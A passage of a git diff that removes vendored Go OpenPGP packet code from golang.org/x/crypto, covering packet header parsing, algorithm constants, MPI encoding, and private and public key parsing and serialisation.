l.n <= 0 { - return 0, io.EOF - } - if int64(len(p)) > l.n { - p = p[0:l.n] - } - n, err = l.r.Read(p) - l.n -= int64(n) - if l.n > 0 && err == io.EOF { - err = io.ErrUnexpectedEOF - } - return -} - -// readHeader parses a packet header and returns an io.Reader which will return -// the contents of the packet. See RFC 4880, section 4.2. -func readHeader(r io.Reader) (tag packetType, length int64, contents io.Reader, err error) { - var buf [4]byte - _, err = io.ReadFull(r, buf[:1]) - if err != nil { - return - } - if buf[0]&0x80 == 0 { - err = errors.StructuralError("tag byte does not have MSB set") - return - } - if buf[0]&0x40 == 0 { - // Old format packet - tag = packetType((buf[0] & 0x3f) >> 2) - lengthType := buf[0] & 3 - if lengthType == 3 { - length = -1 - contents = r - return - } - lengthBytes := 1 << lengthType - _, err = readFull(r, buf[0:lengthBytes]) - if err != nil { - return - } - for i := 0; i < lengthBytes; i++ { - length <<= 8 - length |= int64(buf[i]) - } - contents = &spanReader{r, length} - return - } - - // New format packet - tag = packetType(buf[0] & 0x3f) - length, isPartial, err := readLength(r) - if err != nil { - return - } - if isPartial { - contents = &partialLengthReader{ - remaining: length, - isPartial: true, - r: r, - } - length = -1 - } else { - contents = &spanReader{r, length} - } - return -} - -// serializeHeader writes an OpenPGP packet header to w. See RFC 4880, section -// 4.2. -func serializeHeader(w io.Writer, ptype packetType, length int) (err error) { - var buf [6]byte - var n int - - buf[0] = 0x80 | 0x40 | byte(ptype) - if length < 192 { - buf[1] = byte(length) - n = 2 - } else if length < 8384 { - length -= 192 - buf[1] = 192 + byte(length>>8) - buf[2] = byte(length) - n = 3 - } else { - buf[1] = 255 - buf[2] = byte(length >> 24) - buf[3] = byte(length >> 16) - buf[4] = byte(length >> 8) - buf[5] = byte(length) - n = 6 - } - - _, err = w.Write(buf[:n]) - return -} - -// serializeStreamHeader writes an OpenPGP packet header to w where the -// length of the packet is unknown. It returns a io.WriteCloser which can be -// used to write the contents of the packet. See RFC 4880, section 4.2. -func serializeStreamHeader(w io.WriteCloser, ptype packetType) (out io.WriteCloser, err error) { - var buf [1]byte - buf[0] = 0x80 | 0x40 | byte(ptype) - _, err = w.Write(buf[:]) - if err != nil { - return - } - out = &partialLengthWriter{w: w} - return -} - -// Packet represents an OpenPGP packet. Users are expected to try casting -// instances of this interface to specific packet types. -type Packet interface { - parse(io.Reader) error -} - -// consumeAll reads from the given Reader until error, returning the number of -// bytes read. -func consumeAll(r io.Reader) (n int64, err error) { - var m int - var buf [1024]byte - - for { - m, err = r.Read(buf[:]) - n += int64(m) - if err == io.EOF { - err = nil - return - } - if err != nil { - return - } - } -} - -// packetType represents the numeric ids of the different OpenPGP packet types. See -// http://www.iana.org/assignments/pgp-parameters/pgp-parameters.xhtml#pgp-parameters-2 -type packetType uint8 - -const ( - packetTypeEncryptedKey packetType = 1 - packetTypeSignature packetType = 2 - packetTypeSymmetricKeyEncrypted packetType = 3 - packetTypeOnePassSignature packetType = 4 - packetTypePrivateKey packetType = 5 - packetTypePublicKey packetType = 6 - packetTypePrivateSubkey packetType = 7 - packetTypeCompressed packetType = 8 - packetTypeSymmetricallyEncrypted packetType = 9 - packetTypeLiteralData packetType = 11 - packetTypeUserId packetType = 13 - packetTypePublicSubkey packetType = 14 - packetTypeUserAttribute packetType = 17 - packetTypeSymmetricallyEncryptedMDC packetType = 18 -) - -// peekVersion detects the version of a public key packet about to -// be read. A bufio.Reader at the original position of the io.Reader -// is returned. -func peekVersion(r io.Reader) (bufr *bufio.Reader, ver byte, err error) { - bufr = bufio.NewReader(r) - var verBuf []byte - if verBuf, err = bufr.Peek(1); err != nil { - return - } - ver = verBuf[0] - return -} - -// Read reads a single OpenPGP packet from the given io.Reader. If there is an -// error parsing a packet, the whole packet is consumed from the input. -func Read(r io.Reader) (p Packet, err error) { - tag, _, contents, err := readHeader(r) - if err != nil { - return - } - - switch tag { - case packetTypeEncryptedKey: - p = new(EncryptedKey) - case packetTypeSignature: - var version byte - // Detect signature version - if contents, version, err = peekVersion(contents); err != nil { - return - } - if version < 4 { - p = new(SignatureV3) - } else { - p = new(Signature) - } - case packetTypeSymmetricKeyEncrypted: - p = new(SymmetricKeyEncrypted) - case packetTypeOnePassSignature: - p = new(OnePassSignature) - case packetTypePrivateKey, packetTypePrivateSubkey: - pk := new(PrivateKey) - if tag == packetTypePrivateSubkey { - pk.IsSubkey = true - } - p = pk - case packetTypePublicKey, packetTypePublicSubkey: - var version byte - if contents, version, err = peekVersion(contents); err != nil { - return - } - isSubkey := tag == packetTypePublicSubkey - if version < 4 { - p = &PublicKeyV3{IsSubkey: isSubkey} - } else { - p = &PublicKey{IsSubkey: isSubkey} - } - case packetTypeCompressed: - p = new(Compressed) - case packetTypeSymmetricallyEncrypted: - p = new(SymmetricallyEncrypted) - case packetTypeLiteralData: - p = new(LiteralData) - case packetTypeUserId: - p = new(UserId) - case packetTypeUserAttribute: - p = new(UserAttribute) - case packetTypeSymmetricallyEncryptedMDC: - se := new(SymmetricallyEncrypted) - se.MDC = true - p = se - default: - err = errors.UnknownPacketTypeError(tag) - } - if p != nil { - err = p.parse(contents) - } - if err != nil { - consumeAll(contents) - } - return -} - -// SignatureType represents the different semantic meanings of an OpenPGP -// signature. See RFC 4880, section 5.2.1. -type SignatureType uint8 - -const ( - SigTypeBinary SignatureType = 0 - SigTypeText = 1 - SigTypeGenericCert = 0x10 - SigTypePersonaCert = 0x11 - SigTypeCasualCert = 0x12 - SigTypePositiveCert = 0x13 - SigTypeSubkeyBinding = 0x18 - SigTypePrimaryKeyBinding = 0x19 - SigTypeDirectSignature = 0x1F - SigTypeKeyRevocation = 0x20 - SigTypeSubkeyRevocation = 0x28 -) - -// PublicKeyAlgorithm represents the different public key system specified for -// OpenPGP. See -// http://www.iana.org/assignments/pgp-parameters/pgp-parameters.xhtml#pgp-parameters-12 -type PublicKeyAlgorithm uint8 - -const ( - PubKeyAlgoRSA PublicKeyAlgorithm = 1 - PubKeyAlgoElGamal PublicKeyAlgorithm = 16 - PubKeyAlgoDSA PublicKeyAlgorithm = 17 - // RFC 6637, Section 5. - PubKeyAlgoECDH PublicKeyAlgorithm = 18 - PubKeyAlgoECDSA PublicKeyAlgorithm = 19 - - // Deprecated in RFC 4880, Section 13.5. Use key flags instead. - PubKeyAlgoRSAEncryptOnly PublicKeyAlgorithm = 2 - PubKeyAlgoRSASignOnly PublicKeyAlgorithm = 3 -) - -// CanEncrypt returns true if it's possible to encrypt a message to a public -// key of the given type. -func (pka PublicKeyAlgorithm) CanEncrypt() bool { - switch pka { - case PubKeyAlgoRSA, PubKeyAlgoRSAEncryptOnly, PubKeyAlgoElGamal: - return true - } - return false -} - -// CanSign returns true if it's possible for a public key of the given type to -// sign a message. -func (pka PublicKeyAlgorithm) CanSign() bool { - switch pka { - case PubKeyAlgoRSA, PubKeyAlgoRSASignOnly, PubKeyAlgoDSA, PubKeyAlgoECDSA: - return true - } - return false -} - -// CipherFunction represents the different block ciphers specified for OpenPGP. See -// http://www.iana.org/assignments/pgp-parameters/pgp-parameters.xhtml#pgp-parameters-13 -type CipherFunction uint8 - -const ( - Cipher3DES CipherFunction = 2 - CipherCAST5 CipherFunction = 3 - CipherAES128 CipherFunction = 7 - CipherAES192 CipherFunction = 8 - CipherAES256 CipherFunction = 9 -) - -// KeySize returns the key size, in bytes, of cipher. -func (cipher CipherFunction) KeySize() int { - switch cipher { - case Cipher3DES: - return 24 - case CipherCAST5: - return cast5.KeySize - case CipherAES128: - return 16 - case CipherAES192: - return 24 - case CipherAES256: - return 32 - } - return 0 -} - -// blockSize returns the block size, in bytes, of cipher. -func (cipher CipherFunction) blockSize() int { - switch cipher { - case Cipher3DES: - return des.BlockSize - case CipherCAST5: - return 8 - case CipherAES128, CipherAES192, CipherAES256: - return 16 - } - return 0 -} - -// new returns a fresh instance of the given cipher. -func (cipher CipherFunction) new(key []byte) (block cipher.Block) { - switch cipher { - case Cipher3DES: - block, _ = des.NewTripleDESCipher(key) - case CipherCAST5: - block, _ = cast5.NewCipher(key) - case CipherAES128, CipherAES192, CipherAES256: - block, _ = aes.NewCipher(key) - } - return -} - -// readMPI reads a big integer from r. The bit length returned is the bit -// length that was specified in r. This is preserved so that the integer can be -// reserialized exactly. -func readMPI(r io.Reader) (mpi []byte, bitLength uint16, err error) { - var buf [2]byte - _, err = readFull(r, buf[0:]) - if err != nil { - return - } - bitLength = uint16(buf[0])<<8 | uint16(buf[1]) - numBytes := (int(bitLength) + 7) / 8 - mpi = make([]byte, numBytes) - _, err = readFull(r, mpi) - // According to RFC 4880 3.2. we should check that the MPI has no leading - // zeroes (at least when not an encrypted MPI?), but this implementation - // does generate leading zeroes, so we keep accepting them. - return -} - -// writeMPI serializes a big integer to w. -func writeMPI(w io.Writer, bitLength uint16, mpiBytes []byte) (err error) { - // Note that we can produce leading zeroes, in violation of RFC 4880 3.2. - // Implementations seem to be tolerant of them, and stripping them would - // make it complex to guarantee matching re-serialization. - _, err = w.Write([]byte{byte(bitLength >> 8), byte(bitLength)}) - if err == nil { - _, err = w.Write(mpiBytes) - } - return -} - -// writeBig serializes a *big.Int to w. -func writeBig(w io.Writer, i *big.Int) error { - return writeMPI(w, uint16(i.BitLen()), i.Bytes()) -} - -// padToKeySize left-pads a MPI with zeroes to match the length of the -// specified RSA public. -func padToKeySize(pub *rsa.PublicKey, b []byte) []byte { - k := (pub.N.BitLen() + 7) / 8 - if len(b) >= k { - return b - } - bb := make([]byte, k) - copy(bb[len(bb)-len(b):], b) - return bb -} - -// CompressionAlgo Represents the different compression algorithms -// supported by OpenPGP (except for BZIP2, which is not currently -// supported). See Section 9.3 of RFC 4880. -type CompressionAlgo uint8 - -const ( - CompressionNone CompressionAlgo = 0 - CompressionZIP CompressionAlgo = 1 - CompressionZLIB CompressionAlgo = 2 -) diff --git a/vendor/golang.org/x/crypto/openpgp/packet/private_key.go b/vendor/golang.org/x/crypto/openpgp/packet/private_key.go deleted file mode 100644 index 81abb7cef9..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/packet/private_key.go +++ /dev/null @@ -1,385 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package packet - -import ( - "bytes" - "crypto" - "crypto/cipher" - "crypto/dsa" - "crypto/ecdsa" - "crypto/rsa" - "crypto/sha1" - "io" - "io/ioutil" - "math/big" - "strconv" - "time" - - "golang.org/x/crypto/openpgp/elgamal" - "golang.org/x/crypto/openpgp/errors" - "golang.org/x/crypto/openpgp/s2k" -) - -// PrivateKey represents a possibly encrypted private key. See RFC 4880, -// section 5.5.3. -type PrivateKey struct { - PublicKey - Encrypted bool // if true then the private key is unavailable until Decrypt has been called. - encryptedData []byte - cipher CipherFunction - s2k func(out, in []byte) - PrivateKey interface{} // An *{rsa|dsa|ecdsa}.PrivateKey or crypto.Signer/crypto.Decrypter (Decryptor RSA only). - sha1Checksum bool - iv []byte -} - -func NewRSAPrivateKey(creationTime time.Time, priv *rsa.PrivateKey) *PrivateKey { - pk := new(PrivateKey) - pk.PublicKey = *NewRSAPublicKey(creationTime, &priv.PublicKey) - pk.PrivateKey = priv - return pk -} - -func NewDSAPrivateKey(creationTime time.Time, priv *dsa.PrivateKey) *PrivateKey { - pk := new(PrivateKey) - pk.PublicKey = *NewDSAPublicKey(creationTime, &priv.PublicKey) - pk.PrivateKey = priv - return pk -} - -func NewElGamalPrivateKey(creationTime time.Time, priv *elgamal.PrivateKey) *PrivateKey { - pk := new(PrivateKey) - pk.PublicKey = *NewElGamalPublicKey(creationTime, &priv.PublicKey) - pk.PrivateKey = priv - return pk -} - -func NewECDSAPrivateKey(creationTime time.Time, priv *ecdsa.PrivateKey) *PrivateKey { - pk := new(PrivateKey) - pk.PublicKey = *NewECDSAPublicKey(creationTime, &priv.PublicKey) - pk.PrivateKey = priv - return pk -} - -// NewSignerPrivateKey creates a PrivateKey from a crypto.Signer that -// implements RSA or ECDSA. -func NewSignerPrivateKey(creationTime time.Time, signer crypto.Signer) *PrivateKey { - pk := new(PrivateKey) - // In general, the public Keys should be used as pointers. We still - // type-switch on the values, for backwards-compatibility. - switch pubkey := signer.Public().(type) { - case *rsa.PublicKey: - pk.PublicKey = *NewRSAPublicKey(creationTime, pubkey) - case rsa.PublicKey: - pk.PublicKey = *NewRSAPublicKey(creationTime, &pubkey) - case *ecdsa.PublicKey: - pk.PublicKey = *NewECDSAPublicKey(creationTime, pubkey) - case ecdsa.PublicKey: - pk.PublicKey = *NewECDSAPublicKey(creationTime, &pubkey) - default: - panic("openpgp: unknown crypto.Signer type in NewSignerPrivateKey") - } - pk.PrivateKey = signer - return pk -} - -func (pk *PrivateKey) parse(r io.Reader) (err error) { - err = (&pk.PublicKey).parse(r) - if err != nil { - return - } - var buf [1]byte - _, err = readFull(r, buf[:]) - if err != nil { - return - } - - s2kType := buf[0] - - switch s2kType { - case 0: - pk.s2k = nil - pk.Encrypted = false - case 254, 255: - _, err = readFull(r, buf[:]) - if err != nil { - return - } - pk.cipher = CipherFunction(buf[0]) - pk.Encrypted = true - pk.s2k, err = s2k.Parse(r) - if err != nil { - return - } - if s2kType == 254 { - pk.sha1Checksum = true - } - default: - return errors.UnsupportedError("deprecated s2k function in private key") - } - - if pk.Encrypted { - blockSize := pk.cipher.blockSize() - if blockSize == 0 { - return errors.UnsupportedError("unsupported cipher in private key: " + strconv.Itoa(int(pk.cipher))) - } - pk.iv = make([]byte, blockSize) - _, err = readFull(r, pk.iv) - if err != nil { - return - } - } - - pk.encryptedData, err = ioutil.ReadAll(r) - if err != nil { - return - } - - if !pk.Encrypted { - return pk.parsePrivateKey(pk.encryptedData) - } - - return -} - -func mod64kHash(d []byte) uint16 { - var h uint16 - for _, b := range d { - h += uint16(b) - } - return h -} - -func (pk *PrivateKey) Serialize(w io.Writer) (err error) { - // TODO(agl): support encrypted private keys - buf := bytes.NewBuffer(nil) - err = pk.PublicKey.serializeWithoutHeaders(buf) - if err != nil { - return - } - buf.WriteByte(0 /* no encryption */) - - privateKeyBuf := bytes.NewBuffer(nil) - - switch priv := pk.PrivateKey.(type) { - case *rsa.PrivateKey: - err = serializeRSAPrivateKey(privateKeyBuf, priv) - case *dsa.PrivateKey: - err = serializeDSAPrivateKey(privateKeyBuf, priv) - case *elgamal.PrivateKey: - err = serializeElGamalPrivateKey(privateKeyBuf, priv) - case *ecdsa.PrivateKey: - err = serializeECDSAPrivateKey(privateKeyBuf, priv) - default: - err = errors.InvalidArgumentError("unknown private key type") - } - if err != nil { - return - } - - ptype := packetTypePrivateKey - contents := buf.Bytes() - privateKeyBytes := privateKeyBuf.Bytes() - if pk.IsSubkey { - ptype = packetTypePrivateSubkey - } - err = serializeHeader(w, ptype, len(contents)+len(privateKeyBytes)+2) - if err != nil { - return - } - _, err = w.Write(contents) - if err != nil { - return - } - _, err = w.Write(privateKeyBytes) - if err != nil { - return - } - - checksum := mod64kHash(privateKeyBytes) - var checksumBytes [2]byte - checksumBytes[0] = byte(checksum >> 8) - checksumBytes[1] = byte(checksum) - _, err = w.Write(checksumBytes[:]) - - return -} - -func serializeRSAPrivateKey(w io.Writer, priv *rsa.PrivateKey) error { - err := writeBig(w, priv.D) - if err != nil { - return err - } - err = writeBig(w, priv.Primes[1]) - if err != nil { - return err - } - err = writeBig(w, priv.Primes[0]) - if err != nil { - return err - } - return writeBig(w, priv.Precomputed.Qinv) -} - -func serializeDSAPrivateKey(w io.Writer, priv *dsa.PrivateKey) error { - return writeBig(w, priv.X) -} - -func serializeElGamalPrivateKey(w io.Writer, priv *elgamal.PrivateKey) error { - return writeBig(w, priv.X) -} - -func serializeECDSAPrivateKey(w io.Writer, priv *ecdsa.PrivateKey) error { - return writeBig(w, priv.D) -} - -// Decrypt decrypts an encrypted private key using a passphrase. -func (pk *PrivateKey) Decrypt(passphrase []byte) error { - if !pk.Encrypted { - return nil - } - - key := make([]byte, pk.cipher.KeySize()) - pk.s2k(key, passphrase) - block := pk.cipher.new(key) - cfb := cipher.NewCFBDecrypter(block, pk.iv) - - data := make([]byte, len(pk.encryptedData)) - cfb.XORKeyStream(data, pk.encryptedData) - - if pk.sha1Checksum { - if len(data) < sha1.Size { - return errors.StructuralError("truncated private key data") - } - h := sha1.New() - h.Write(data[:len(data)-sha1.Size]) - sum := h.Sum(nil) - if !bytes.Equal(sum, data[len(data)-sha1.Size:]) { - return errors.StructuralError("private key checksum failure") - } - data = data[:len(data)-sha1.Size] - } else { - if len(data) < 2 { - return errors.StructuralError("truncated private key data") - } - var sum uint16 - for i := 0; i < len(data)-2; i++ { - sum += uint16(data[i]) - } - if data[len(data)-2] != uint8(sum>>8) || - data[len(data)-1] != uint8(sum) { - return errors.StructuralError("private key checksum failure") - } - data = data[:len(data)-2] - } - - return pk.parsePrivateKey(data) -} - -func (pk *PrivateKey) parsePrivateKey(data []byte) (err error) { - switch pk.PublicKey.PubKeyAlgo { - case PubKeyAlgoRSA, PubKeyAlgoRSASignOnly, PubKeyAlgoRSAEncryptOnly: - return pk.parseRSAPrivateKey(data) - case PubKeyAlgoDSA: - return pk.parseDSAPrivateKey(data) - case PubKeyAlgoElGamal: - return pk.parseElGamalPrivateKey(data) - case PubKeyAlgoECDSA: - return pk.parseECDSAPrivateKey(data) - } - panic("impossible") -} - -func (pk *PrivateKey) parseRSAPrivateKey(data []byte) (err error) { - rsaPub := pk.PublicKey.PublicKey.(*rsa.PublicKey) - rsaPriv := new(rsa.PrivateKey) - rsaPriv.PublicKey = *rsaPub - - buf := bytes.NewBuffer(data) - d, _, err := readMPI(buf) - if err != nil { - return - } - p, _, err := readMPI(buf) - if err != nil { - return - } - q, _, err := readMPI(buf) - if err != nil { - return - } - - rsaPriv.D = new(big.Int).SetBytes(d) - rsaPriv.Primes = make([]*big.Int, 2) - rsaPriv.Primes[0] = new(big.Int).SetBytes(p) - rsaPriv.Primes[1] = new(big.Int).SetBytes(q) - if err := rsaPriv.Validate(); err != nil { - return err - } - rsaPriv.Precompute() - pk.PrivateKey = rsaPriv - pk.Encrypted = false - pk.encryptedData = nil - - return nil -} - -func (pk *PrivateKey) parseDSAPrivateKey(data []byte) (err error) { - dsaPub := pk.PublicKey.PublicKey.(*dsa.PublicKey) - dsaPriv := new(dsa.PrivateKey) - dsaPriv.PublicKey = *dsaPub - - buf := bytes.NewBuffer(data) - x, _, err := readMPI(buf) - if err != nil { - return - } - - dsaPriv.X = new(big.Int).SetBytes(x) - pk.PrivateKey = dsaPriv - pk.Encrypted = false - pk.encryptedData = nil - - return nil -} - -func (pk *PrivateKey) parseElGamalPrivateKey(data []byte) (err error) { - pub := pk.PublicKey.PublicKey.(*elgamal.PublicKey) - priv := new(elgamal.PrivateKey) - priv.PublicKey = *pub - - buf := bytes.NewBuffer(data) - x, _, err := readMPI(buf) - if err != nil { - return - } - - priv.X = new(big.Int).SetBytes(x) - pk.PrivateKey = priv - pk.Encrypted = false - pk.encryptedData = nil - - return nil -} - -func (pk *PrivateKey) parseECDSAPrivateKey(data []byte) (err error) { - ecdsaPub := pk.PublicKey.PublicKey.(*ecdsa.PublicKey) - - buf := bytes.NewBuffer(data) - d, _, err := readMPI(buf) - if err != nil { - return - } - - pk.PrivateKey = &ecdsa.PrivateKey{ - PublicKey: *ecdsaPub, - D: new(big.Int).SetBytes(d), - } - pk.Encrypted = false - pk.encryptedData = nil - - return nil -} diff --git a/vendor/golang.org/x/crypto/openpgp/packet/public_key.go b/vendor/golang.org/x/crypto/openpgp/packet/public_key.go deleted file mode 100644 index fcd5f52519..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/packet/public_key.go +++ /dev/null @@ -1,753 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package packet - -import ( - "bytes" - "crypto" - "crypto/dsa" - "crypto/ecdsa" - "crypto/elliptic" - "crypto/rsa" - "crypto/sha1" - _ "crypto/sha256" - _ "crypto/sha512" - "encoding/binary" - "fmt" - "hash" - "io" - "math/big" - "strconv" - "time" - - "golang.org/x/crypto/openpgp/elgamal" - "golang.org/x/crypto/openpgp/errors" -) - -var ( - // NIST curve P-256 - oidCurveP256 []byte = []byte{0x2A, 0x86, 0x48, 0xCE, 0x3D, 0x03, 0x01, 0x07} - // NIST curve P-384 - oidCurveP384 []byte = []byte{0x2B, 0x81, 0x04, 0x00, 0x22} - // NIST curve P-521 - oidCurveP521 []byte = []byte{0x2B, 0x81, 0x04, 0x00, 0x23} -) - -const maxOIDLength = 8 - -// ecdsaKey stores the algorithm-specific fields for ECDSA keys. -// as defined in RFC 6637, Section 9. -type ecdsaKey struct { - // oid contains the OID byte sequence identifying the elliptic curve used - oid []byte - // p contains the elliptic curve point that represents the public key - p parsedMPI -} - -// parseOID reads the OID for the curve as defined in RFC 6637, Section 9. -func parseOID(r io.Reader) (oid []byte, err error) { - buf := make([]byte, maxOIDLength) - if _, err = readFull(r, buf[:1]); err != nil { - return - } - oidLen := buf[0] - if int(oidLen) > len(buf) { - err = errors.UnsupportedError("invalid oid length: " + strconv.Itoa(int(oidLen))) - return - } - oid = buf[:oidLen] - _, err = readFull(r, oid) - return -} - -func (f *ecdsaKey) parse(r io.Reader) (err error) { - if f.oid, err = parseOID(r); err != nil { - return err - } - f.p.bytes, f.p.bitLength, err = readMPI(r) - return -} - -func (f *ecdsaKey) serialize(w io.Writer) (err error) { - buf := make([]byte, maxOIDLength+1) - buf[0] = byte(len(f.oid)) - copy(buf[1:], f.oid) - if _, err = w.Write(buf[:len(f.oid)+1]); err != nil { - return - } - return writeMPIs(w, f.p) -} - -func (f *ecdsaKey) newECDSA() (*ecdsa.PublicKey, error) { - var c elliptic.Curve - if bytes.Equal(f.oid, oidCurveP256) { - c = elliptic.P256() - } else if bytes.Equal(f.oid, oidCurveP384) { - c = elliptic.P384() - } else if bytes.Equal(f.oid, oidCurveP521) { - c = elliptic.P521() - } else { - return nil, errors.UnsupportedError(fmt.Sprintf("unsupported oid: %x", f.oid)) - } - x, y := elliptic.Unmarshal(c, f.p.bytes) - if x == nil { - return nil, errors.UnsupportedError("failed to parse EC point") - } - return &ecdsa.PublicKey{Curve: c, X: x, Y: y}, nil -} - -func (f *ecdsaKey) byteLen() int { - return 1 + len(f.oid) + 2 + len(f.p.bytes) -} - -type kdfHashFunction byte -type kdfAlgorithm byte - -// ecdhKdf stores key derivation function parameters -// used for ECDH encryption. See RFC 6637, Section 9. -type ecdhKdf struct { - KdfHash kdfHashFunction - KdfAlgo kdfAlgorithm -} - -func (f *ecdhKdf) parse(r io.Reader) (err error) { - buf := make([]byte, 1) - if _, err = readFull(r, buf); err != nil { - return - } - kdfLen := int(buf[0]) - if kdfLen < 3 { - return errors.UnsupportedError("Unsupported ECDH KDF length: " + strconv.Itoa(kdfLen)) - } - buf = make([]byte, kdfLen) - if _, err = readFull(r, buf); err != nil { - return - } - reserved := int(buf[0]) - f.KdfHash = kdfHashFunction(buf[1]) - f.KdfAlgo = kdfAlgorithm(buf[2]) - if reserved != 0x01 { - return errors.UnsupportedError("Unsupported KDF reserved field: " + strconv.Itoa(reserved)) - } - return -} - -func (f *ecdhKdf) serialize(w io.Writer) (err error) { - buf := make([]byte, 4) - // See RFC 6637, Section 9, Algorithm-Specific Fields for ECDH keys. - buf[0] = byte(0x03) // Length of the following fields - buf[1] = byte(0x01) // Reserved for future extensions, must be 1 for now - buf[2] = byte(f.KdfHash) - buf[3] = byte(f.KdfAlgo) - _, err = w.Write(buf[:]) - return -} - -func (f *ecdhKdf) byteLen() int { - return 4 -} - -// PublicKey represents an OpenPGP public key. See RFC 4880, section 5.5.2. -type PublicKey struct { - CreationTime time.Time - PubKeyAlgo PublicKeyAlgorithm - PublicKey interface{} // *rsa.PublicKey, *dsa.PublicKey or *ecdsa.PublicKey - Fingerprint [20]byte - KeyId uint64 - IsSubkey bool - - n, e, p, q, g, y parsedMPI - - // RFC 6637 fields - ec *ecdsaKey - ecdh *ecdhKdf -} - -// signingKey provides a convenient abstraction over signature verification -// for v3 and v4 public keys. -type signingKey interface { - SerializeSignaturePrefix(io.Writer) - serializeWithoutHeaders(io.Writer) error -} - -func fromBig(n *big.Int) parsedMPI { - return parsedMPI{ - bytes: n.Bytes(), - bitLength: uint16(n.BitLen()), - } -} - -// NewRSAPublicKey returns a PublicKey that wraps the given rsa.PublicKey. -func NewRSAPublicKey(creationTime time.Time, pub *rsa.PublicKey) *PublicKey { - pk := &PublicKey{ - CreationTime: creationTime, - PubKeyAlgo: PubKeyAlgoRSA, - PublicKey: pub, - n: fromBig(pub.N), - e: fromBig(big.NewInt(int64(pub.E))), - } - - pk.setFingerPrintAndKeyId() - return pk -} - -// NewDSAPublicKey returns a PublicKey that wraps the given dsa.PublicKey. -func NewDSAPublicKey(creationTime time.Time, pub *dsa.PublicKey) *PublicKey { - pk := &PublicKey{ - CreationTime: creationTime, - PubKeyAlgo: PubKeyAlgoDSA, - PublicKey: pub, - p: fromBig(pub.P), - q: fromBig(pub.Q), - g: fromBig(pub.G), - y: fromBig(pub.Y), - } - - pk.setFingerPrintAndKeyId() - return pk -} - -// NewElGamalPublicKey returns a PublicKey that wraps the given elgamal.PublicKey. -func NewElGamalPublicKey(creationTime time.Time, pub *elgamal.PublicKey) *PublicKey { - pk := &PublicKey{ - CreationTime: creationTime, - PubKeyAlgo: PubKeyAlgoElGamal, - PublicKey: pub, - p: fromBig(pub.P), - g: fromBig(pub.G), - y: fromBig(pub.Y), - } - - pk.setFingerPrintAndKeyId() - return pk -} - -func NewECDSAPublicKey(creationTime time.Time, pub *ecdsa.PublicKey) *PublicKey { - pk := &PublicKey{ - CreationTime: creationTime, - PubKeyAlgo: PubKeyAlgoECDSA, - PublicKey: pub, - ec: new(ecdsaKey), - } - - switch pub.Curve { - case elliptic.P256(): - pk.ec.oid = oidCurveP256 - case elliptic.P384(): - pk.ec.oid = oidCurveP384 - case elliptic.P521(): - pk.ec.oid = oidCurveP521 - default: - panic("unknown elliptic curve") - } - - pk.ec.p.bytes = elliptic.Marshal(pub.Curve, pub.X, pub.Y) - - // The bit length is 3 (for the 0x04 specifying an uncompressed key) - // plus two field elements (for x and y), which are rounded up to the - // nearest byte. See https://tools.ietf.org/html/rfc6637#section-6 - fieldBytes := (pub.Curve.Params().BitSize + 7) & ^7 - pk.ec.p.bitLength = uint16(3 + fieldBytes + fieldBytes) - - pk.setFingerPrintAndKeyId() - return pk -} - -func (pk *PublicKey) parse(r io.Reader) (err error) { - // RFC 4880, section 5.5.2 - var buf [6]byte - _, err = readFull(r, buf[:]) - if err != nil { - return - } - if buf[0] != 4 { - return errors.UnsupportedError("public key version") - } - pk.CreationTime = time.Unix(int64(uint32(buf[1])<<24|uint32(buf[2])<<16|uint32(buf[3])<<8|uint32(buf[4])), 0) - pk.PubKeyAlgo = PublicKeyAlgorithm(buf[5]) - switch pk.PubKeyAlgo { - case PubKeyAlgoRSA, PubKeyAlgoRSAEncryptOnly, PubKeyAlgoRSASignOnly: - err = pk.parseRSA(r) - case PubKeyAlgoDSA: - err = pk.parseDSA(r) - case PubKeyAlgoElGamal: - err = pk.parseElGamal(r) - case PubKeyAlgoECDSA: - pk.ec = new(ecdsaKey) - if err = pk.ec.parse(r); err != nil { - return err - } - pk.PublicKey, err = pk.ec.newECDSA() - case PubKeyAlgoECDH: - pk.ec = new(ecdsaKey) - if err = pk.ec.parse(r); err != nil { - return - } - pk.ecdh = new(ecdhKdf) - if err = pk.ecdh.parse(r); err != nil { - return - } - // The ECDH key is stored in an ecdsa.PublicKey for convenience. - pk.PublicKey, err = pk.ec.newECDSA() - default: - err = errors.UnsupportedError("public key type: " + strconv.Itoa(int(pk.PubKeyAlgo))) - } - if err != nil { - return - } - - pk.setFingerPrintAndKeyId() - return -} - -func (pk *PublicKey) setFingerPrintAndKeyId() { - // RFC 4880, section 12.2 - fingerPrint := sha1.New() - pk.SerializeSignaturePrefix(fingerPrint) - pk.serializeWithoutHeaders(fingerPrint) - copy(pk.Fingerprint[:], fingerPrint.Sum(nil)) - pk.KeyId = binary.BigEndian.Uint64(pk.Fingerprint[12:20]) -} - -// parseRSA parses RSA public key material from the given Reader. See RFC 4880, -// section 5.5.2. -func (pk *PublicKey) parseRSA(r io.Reader) (err error) { - pk.n.bytes, pk.n.bitLength, err = readMPI(r) - if err != nil { - return - } - pk.e.bytes, pk.e.bitLength, err = readMPI(r) - if err != nil { - return - } - - if len(pk.e.bytes) > 3 { - err = errors.UnsupportedError("large public exponent") - return - } - rsa := &rsa.PublicKey{ - N: new(big.Int).SetBytes(pk.n.bytes), - E: 0, - } - for i := 0; i < len(pk.e.bytes); i++ { - rsa.E <<= 8 - rsa.E |= int(pk.e.bytes[i]) - } - pk.PublicKey = rsa - return -} - -// parseDSA parses DSA public key material from the given Reader. See RFC 4880, -// section 5.5.2. -func (pk *PublicKey) parseDSA(r io.Reader) (err error) { - pk.p.bytes, pk.p.bitLength, err = readMPI(r) - if err != nil { - return - } - pk.q.bytes, pk.q.bitLength, err = readMPI(r) - if err != nil { - return - } - pk.g.bytes, pk.g.bitLength, err = readMPI(r) - if err != nil { - return - } - pk.y.bytes, pk.y.bitLength, err = readMPI(r) - if err != nil { - return - } - - dsa := new(dsa.PublicKey) - dsa.P = new(big.Int).SetBytes(pk.p.bytes) - dsa.Q = new(big.Int).SetBytes(pk.q.bytes) - dsa.G = new(big.Int).SetBytes(pk.g.bytes) - dsa.Y = new(big.Int).SetBytes(pk.y.bytes) - pk.PublicKey = dsa - return -} - -// parseElGamal parses ElGamal public key material from the given Reader. See -// RFC 4880, section 5.5.2. -func (pk *PublicKey) parseElGamal(r io.Reader) (err error) { - pk.p.bytes, 